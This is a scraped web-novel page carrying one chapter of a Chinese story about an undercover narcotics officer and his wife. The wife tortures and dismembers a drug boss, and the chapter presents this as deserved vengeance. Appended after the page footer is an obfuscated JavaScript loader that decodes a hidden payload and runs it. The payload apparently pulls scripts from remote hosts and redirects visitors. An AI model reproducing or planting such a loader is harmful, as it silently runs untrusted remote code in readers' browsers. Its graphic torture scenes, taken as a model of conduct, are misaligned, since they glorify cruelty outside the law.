首页
64、缉毒卧底的儿子4
返回

64、缉毒卧底的儿子4

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    一枪打在王勇怀拿枪的那只手上,齐荣成没有停下来,又是连续几枪,分别打在了王勇怀的另一只手和两条腿上,第五枪才打在他脑袋上,最后一枪毙命。
    留守的人听到枪声赶过来,王勇怀已经死了,那些人看到这一幕脸色一变,然而还不等他们给出反应,齐荣成就先一步解释了,“老大被袭击了!刚才联系我,说是王勇怀不服他想要上位,故意把他的消息透露给条子的,现在老大已经安全转移到了另一个地方,但身边的人在和条子对峙中损失了不少,他还带着货,让我们赶紧过去接应。”
    留下的这些人未必都是完全忠于杨勇年的,但是齐荣成说货还在,那么他们为了自己的利益也会过去接应杨勇年的,而等到了他和老领导约定的地方,那就不是他们能反抗的了。
    至于说杨勇年,那边现在就先交给他的同伴们了。
    因为利益,剩下的人果然都选择相信了齐荣成,就在不久之前,杨勇年和王勇怀曾经因为一些事情吵过一架,现在齐荣成说王勇怀不服杨勇年,想要杀了他上位,其他人也真的相信了。
    毕竟,当初杨勇年也是这么干的,现在王勇怀这么干,也在情理之中。
    有些事情向来都是饿死胆小的,撑死胆大的。
    到了约定好的地方,齐荣成并没有带着人直接进去,而是自己先进去查看了一下,“你们先等一下,我过去看看,要是老大真的在里面,那我会联系你们让你们进去的,万一老大被抓了,这里是条子设下的陷阱,你们就赶紧离开,明白我的意思了吗?”
    他这么一说其他人当然乐意之极,对齐荣成的信任也多了一层,在外面隐藏好,看着齐荣成走进不远处的大门中,没一会儿,旁边的手机就响了,接通了以后果然听到了齐荣成的声音,说是杨勇年受了伤,正在仓库二楼,让他们赶紧过去。
    一楼并没有人,只有一点杂乱的脚印,还有一些还算新鲜的血迹,也是看到这些,跟着齐荣成过来的人才彻底放了心,冲进仓库准备上二楼去见杨勇年,然而他们刚进入仓库,仓库的大门就关上了,枪声紧跟着响了起来。
    直到这时候,他们才反应过来是怎么回事。
    背叛的不是王勇怀,而是齐荣成。
    临死之前,有人想到了不久之前王勇怀怀疑齐荣成是条子卧底的事情,只是最后证明齐荣成不是,现在看来,他们的张宝川真的是条子的卧底!
    可惜他们知道得太迟了。
    有心算无心,等齐荣成带过来的那些人反应过来,已经晚了,等在二楼隐蔽处的警察早就等着这一刻了。
    齐荣成知道这些人带了什么,警察恨这些毒贩子恨得要死,不过并没有要他们的命,只是让他们失去了行动能力,只有少数几个打在了致命的位置。
    负责这次行动的人是齐荣成的老领导,也是知道齐荣成身份的人,将下面那些毒贩子都抓获后拍了拍他的肩膀,告诉他目前就只剩下杨勇年还没有抓到了,其他全部都抓到了。
    杨勇年狡猾得很,让他逃了以后并没有去隐蔽的地方,而是去了闹市区,即使有监控,人流量太大,他们的人手不够,也还是让他给逃掉了,目前他们正在追寻。
    齐荣成眉头一皱,不知道想到了什么,一看他的表情薛争明就知道他一定是想到了什么,“怎么,你能猜到他会躲到哪里?”
    “他现在肯定知道内部出现了叛徒,或者反应过来我是组织卧底了,其他地方全部不安全,他唯一能去的,大概就是研究所了。”
    “那个研究所在哪里?你知道?”薛争明心里一紧,忍不住有了不好的预感。
    齐荣成摇摇头,“我不知道,我要是知道的话,他肯定不会过去,那个研究所除了研究禁药,还有就是各种新式毒品,除了绝对信任的人,其他人都不知道,据我所知,除了杨勇年,就只有王勇怀知道,但现在王勇怀已经被我击毙了。”
    薛争明忍不住头痛,杨勇年虽然是干掉了自己的老大上位的,但把他这个势力扩大到现在这个地步的人却是杨勇年,只要给他机会,他肯定还会卷土重来的。
    必须尽快想办法找到杨勇年,一旦这次让他逃了,再想抓住就几乎不可能了。
    而此时杨勇年已经快要离开a市了。
    发现不对后他从地下车库离开,很快就钻进了一处商场,迅速在里面换了个装扮又赶紧离开了,照着这样的事情又伪装了几次,这才打车去a市郊区。
    谁都不知道他在那边还有一栋房子。
    他当然不可能住在那里,但是通过那边离开a市还是很方便的,也不会太引人注意。
    “唉,谢谢了啊!”杨勇年付了钱,对出租车司机笑了一下摆摆手,这才压了压头上的帽子往那边走。
    等人一走,他脸上的表情立刻就狠厉起来。
    想他杨勇年不过农村小子出身,能混到现在这个地步,靠的可不只是运气!
    他这时候要是还想不起来之前王勇怀的怀疑是对的,那就真的是傻子了,不过那又怎么样,等他离开这里,他在其他地方的势力一样可以继续下去,至于说张宝川那个条子卧底,他也不会放过的,等他度过了这一关,会让张宝川尝尝痛苦的滋味的。
    尽管心里很焦急,但杨勇年面上还是稳得很,偶尔有人经过遇上人,还会笑着和人家点头打招呼。
    回到家里杨勇年立刻换了一身衣服,将自己浑身上下都换了一遍,拿出预防万一准备好的假身份,又把藏在床下的箱子拎出来,这才准备离开这里。
    那箱子里都是现金,足够他花费了,他现在银行卡手机之类的不能用,就只能用现金了。
    杨勇年从来不会自负到自己一直不被警察抓到,所以他很早之前就做好了准备,就连逃走的路线都准备得好好的。
    然而他还没有离开,门就被敲响了,顿时心头一跳,“谁?!”
    “我对门的,家里没油了,你家有不?”说话的是一个女声,杨勇年透过防盗孔看到外面站着一个年轻女人,对方手里还拿着一个碗,似乎真的是来借油的,但这时候杨勇年根本就不敢大意,尤其是这种主动找上门的。
    “我家没油!你去楼下借吧!”
    “是吗……”外面的女声顿时显得意味深长起来,不等杨勇年再说什么,防盗门突然被踹开了,溅起一地灰尘。
    这房子一直没有人住,早就落了厚厚的灰了。
    杨勇年反应极快,迅速掏出手枪朝站在门口的人影连开了几枪,他确定自己打中了,但不知道怎么回事,那女人却像是他手里的枪不是真的,而是水枪般,什么事都没有,不但如此对方还直接走了进来。
    刚才透过防盗孔看到的人和现在看到完全是不一样的感觉,杨勇年拿着枪的手都在抖,害怕有,一不做二不休,准备死拼也有。
    许见微看着眼前的男人,居然还笑了一下,“终于让我找到你了,杨勇年。”
    之前她也能找到杨勇年,但为了不影响组织那边的计划,许见微一直没有什么动作,而如果现在她还是什么都不干,即使杨勇年会被齐荣成抓到,她大概也没什么机会接触的。
    “你是谁!”杨勇年一边说,一边不停朝许见微射击,但就和之前一样,根本就没有用,因为这一异常的情况,杨勇年的胆子都快要吓破了。
    正常的人他当然不怕,可像是许见微表现出来的这样,他肯定会忌惮畏惧,尤其他现在哈只有一个人,手里的枪似乎对她也没有一点作用。
    就在这时候,他终于想起来在哪里见过许见微了。
    因为就在不久之前,他还调查过许见微,想起来后,他更加咬牙切齿,“是你!徐如纷!”
    如果不是化名张宝川的齐荣成,他现在不可能是这模样,新仇旧恨加在一起,让杨勇年恨不能把许见微千刀万剐,可惜今天还不知道谁把谁千刀万剐呢,许见微不弄死他,那他真的可以拜一拜佛祖了。
    “认识我啊?认识我就好了,想来你也明白我今天过来的原因了?”许见微笑盈盈的,拿出手机开始录像。
    杨勇年自然不可能会配合她,能一路走到现在,他自然不是一般人,凶狠得很,骨头也硬,他仇视许见微和齐荣成毁了自己的一切,现在就算被许见微抓到,也不可能会如她所愿说出那些组织还不知道的情报。
    许见微不怕他骨头硬,就怕他骨头不够硬。
    她是守护之剑,但守护之剑……也是剑啊。
    而剑是凶器。
    杨勇年这群人触碰到了许见微的底线与原则,而齐乐现在受的苦还都是他们造成的,她甚至不知道他们造成多少的家破人亡。
    当初买下这里的时候杨勇年对这里进行了改造,隔音效果非常好,而现在又是白天,大部分人都出去上班工作了,在家的并不多,也因为这样,几乎没有人听到杨勇年凄惨的叫声。
    “我儿子比你还难受哦,他呀,是个勇敢的孩子,你怎么还比不上一个八岁的孩子?”许见微摇摇头谴责道,徐如纷的声音听上去温和柔软,可现在落在杨勇年的耳朵里却像是魔鬼的笑声,让他不寒而栗。
    “说吧,研究所在哪里,我想你现在一定很想和你的老对手打招呼是不是?说出你该说的,我就放过你,或者你还想再经历一次刚才的事情?”许见微站在那里,居高临下地俯视蜷缩在地板上的杨勇年。
    杨勇年身上并没有什么伤,但他的意识却经历了十大酷刑,可许见微一点都不觉得自己过分,就算齐荣成他们抓到了杨勇年,也不过就是个死刑,可相比那些家庭的血泪,这实在太轻松了。
    死根本就不足以惩罚杨勇年的罪过!
    杨勇年的身体不由自主地颤抖了一下,有些畏惧地看了许见微一眼,在他眼中,现在的许见微比那些警察要可怕多了,如果刚才的酷刑再来一次,他真的担心自己会疯掉。
    许见微得到了研究所的位置和详细情报,又逼问出杨勇年其他事情,这才把手机关掉,从旁边抽出一把木剑握在手里。
    杨勇年瞳孔蓦地紧缩,冷汗瞬间就下来了,他不知道什么叫剑意,但却知道许见微在这一刻的危险性达到了顶峰,尤其是她手里那把看着除了打人可能会有些疼的木剑,就好像那并不是一柄木剑,而是削铁如泥的宝剑般。
    这样的直觉让杨勇年本能地往后挪去,可是许见微要做的又哪里是他这样躲避就可以躲避过去的,下一刻杨勇年的惨叫再次响起。
    然而许见微却像是没有听见般,表情冷酷地继续挥剑,到最后杨勇年连惨叫都发不出来了,因为他的舌头被许见微割掉了。
    原本属于杨勇年的胳膊和腿现在都已经分离了,许见微上前在他身上戳了几下,保证他不会因为失血过多而死亡,这才有些嫌弃地后退,不想碰到杨勇年的血。
    她今天过来专门穿了连帽雨衣,为的就是不想碰到血,杨勇年的血太脏了。
    拿着之前就准备的不记名手机卡给薛争明发了个消息,告诉他此时杨勇年的位置,结束后许见微还好心又给120打了电话,这才离开这里。
    郊区是没有摄像头的,这里是法制社会,许见微也不想挑战社会规则,只想当一个普通的母亲,可齐乐的情况注定她不能这样,否则齐乐就毁掉了。
    她答应徐如纷的事情自然会做到,而且她也不想齐乐这样的小家伙受着这样的痛苦。
    现在毒已经快要戒掉了,可他身体里其他的药还在肆虐,许见微不知道那会对齐乐的未来造成什么样的影响,所以她要知道那到底是些什么东西。
    如果可以,最好解决那东西。
    不是她不相信组织,而是她很清楚,交给那些人的话太麻烦了,体制内很多事情做起来都比较麻烦,甚至她还知道,一旦组织查到了那个研究所,不可能继续研究下去,那样的话,齐乐要怎么办?
    许见微能保证自己接手研究所之后,不会危害社会,只为了救齐乐,至于别人信不信,那没关系。
    她现在只是一个失去理智的母亲而已。
    作为这件事的歉意,她会借由研究所公布一些对这个时代有用的东西,就当做是补偿了。
    那个灭绝人性的研究所她势在必得。
    没有人会比他们更加了解齐乐身上的药物了。
    将该处理的东西都处理了,许见微没管杨勇年那边,打开电脑就把之前自己拍下来的东西给处理了,截出来后面和研究所没有关系的部分,将这个视频给组织那边发了过去,然后扫清了痕迹。
    也不知道杨勇年的运气到底是好是坏,总之救护车赶在他死之前把他救出来了,而不巧的是,薛争明也同时带着人到了。
    甚至要比救护车还要早一步到达。
    看清楚室内的情况,薛争明和他带过来的人都震惊了,因为杨勇年现在实在是太惨了,整个人都被削成了人棍,过去后还发现他舌头没了。
    薛争明和齐荣成的第一反应是杨勇年被人黑吃黑报复了,没有直接杀了杨勇年,而是通知他们过来抓人,但又把他四肢砍断,舌头拔掉,这要不是深仇大恨,都干不出来这样的事情。
    只是齐荣成在杨勇年身边待了四年,想了半天都想不出来到底谁和杨勇年有这么深的仇恨。
    这时候他已经完全忘了自家的老婆了。
    救护车来了以后看到杨勇年现在的模样也震惊了一下,然后就赶紧救人了,至于为什么会有警察在这里,肯定是有人发现不对,报警了啊。
    谁看到这副谋杀现场的模样都会报警找警察叔叔求救的好么!
    杨勇年最后捡回了一条命,而等他进了加护病房,那群救人的白衣天使才明白他们救的是个什么样丧心病狂的人。
    对组织来说,研究所那边是心腹大患,那边的研究和研究的方式简直灭绝人性,可现在杨勇年的模样让薛争明突然有了一种不祥的预感。
    他觉得自己或许无法从杨勇年那边得到研究所的消息了,就算知道了,估计现在那边也人去楼空了。
    带着人回到警局后薛争明就收到消息说他们收到了一个视频,那个视频还和杨勇年有关,不过等他们想要追踪回去,却发现对方简直就像是最狡猾的鱼,已经消失在了茫茫大海中,他们甚至连对方是什么鱼都不知道。
    看着视频中杨勇年精神颓丧畏惧地说着自己的罪行和还没有暴露出来的据点,薛争明和齐荣成对视了一眼忍不住皱眉,“能还原问话的那个人的声音吗?”
    负责技术这一块的小哥顿时有些尴尬,“这就是原声,至少我们查出来的结果是这就是原声,对方的技术比我们高,我已经联系了其他人,不过目前还没有人破解出来。”
    许见微其实很少用不属于这个小世界的力量或者技术,但她毕竟经历过了成百上千个小世界,什么背景的她没去过?她只是更加乐意以一个寻常人的身份而已。
    她干的,这个小世界的技术自然抓不到她。
    “研究所的内容被截掉了。”齐荣成盯着视频里的杨勇年说,“按照这样的内容,对方不可能不问到研究所的事情,但很显然,对方并不愿意和我们分享那部分内容,他的目标除了复仇,可能还要研究所。”
    齐荣成现在还没有恢复警职,但薛争明已经把他的身份告诉了其他同事。
    只是齐荣成也明白,这次自己的任务虽然完成了,可他应该会休息一段时间,即使是为了任务为了不暴露,但是他杀了几个同事这是事实。
    那种情况不能怨他,可也不可能当做什么事情都没有发生。
    不过他不知道的是,即使是这样,至少他还好好的,而不是像上辈子一样因为齐乐的死亡最终选择自杀。
    “好了,小齐,你先回家去吧,这么久没回去,回去后可得好好和小徐道歉,她这几年不容易,你得好好补偿人家。”薛争明跳过了之前的话题,伸手拍了拍齐荣成的肩膀。
    齐荣成是他最得意的手下,现在英雄归来,该回家跪搓衣板了。
    然而薛争明却并不知道,他差点掐死齐乐,而且还被许见微给看见的事情,否则他就该明白,齐荣成回去,绝对会和他想的不一样。
    齐荣成苦笑,并没有回应薛争明的调侃,薛争明只以为他觉得亏欠老婆孩子,再次拍了拍他的肩膀。
    不过,他也确实需要好好休息了。
    回到熟悉的小区,齐荣成站在自家家门口,听着屋里说话的声音,心里胆怯,有些不敢敲门,他不知道敲门后自己面对的会是什么。
    齐乐情况好了很多,家里现在笑声也多了,徐母看着这样的外孙心里欣慰,拎着垃圾袋就准备去楼下扔垃圾,齐荣成听到脚步声朝门边过来,有些慌张想躲避,但这里是楼梯,根本就没有可以躲避的地方,于是徐母一开门就看到了有些手足无措的齐荣成。
    徐母愣了一下,笑脸瞬间就拉了下来,二话不说,举起手里的垃圾袋兜头砸了过去,气得浑身发抖,“你还敢回来!你居然还敢回来!你回来做什么!滚啊!”
    许见微原本在和齐乐下五子棋的,齐乐上午和孙家的双胞胎兄弟下棋,果然又输了,心里实在不甘心,这才找上许见微,想先提高自己下五子棋的水平,然后再一雪前耻。
    听到门口的声音许见微瞬间就了然了,而齐乐还有些好奇,忍不住伸长脖子看到底是谁能把他外婆气成这个样子。
    在他记忆中,外婆的脾气一直非常好的。
    齐荣成耸拉着脑袋,既没有躲避,也没有阻挡,就这么接了这一下,袋子里的残羹冷炙弄得他满头都是,还有一股虾的味道,一看就知道他们中午吃虾了。
    徐母这样生气齐荣成也能理解,甚至觉得理所当然,谁家闺女嫁过去,好好的丈夫不知所踪,靠着她一个女人独自一人把孩子养大,再看到这个王八蛋都会想要砍死的!
    而且,他还给孩子带来了危险,齐荣成不知道许见微有没有和徐母说,然而无论说没说,他在面对徐母的时候都觉得自己矮了一截。
    眼睁睁看着家门在自己面前关闭,齐荣成心里当然不好受,然而就是这样他也没去藏钥匙的地方把备用钥匙取出来直接自己开门进去,就这样可怜巴巴地站在门口。
    齐乐没看到外面的人,只看到徐母把门甩上了,好奇地看着徐母,“外婆,外面是谁啊?不要生气啦,乐乐给你捶捶背!”
    徐母看着这样的齐乐,心里更加不好受了,“乐乐啊,外面是骗子,咱不理会他,说什么你都别信啊!”
    齐乐乖巧地点头,“好,我听外婆的!”
    徐母笑了出来,忍不住慈爱地摸摸他的脑袋,“乖孩子。”
    至于齐荣成……徐母没管。
    许见微叹了口气,起身去开门,对站在外面的齐荣成说了一声“进来”,自己就转身往回走。
    齐荣成咬牙,最后还是跟在了许见微身后,就是气势不怎么足。
    作者有话要说:本来犹豫要不要让微微这么凶的,后来还是觉得……算了,她还是凶一点吧,毒贩子禽兽不如,罪该万死
    唔,还有总觉得没有写出那种紧张感,又失败了_(:3ゝ∠)_嘤!
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();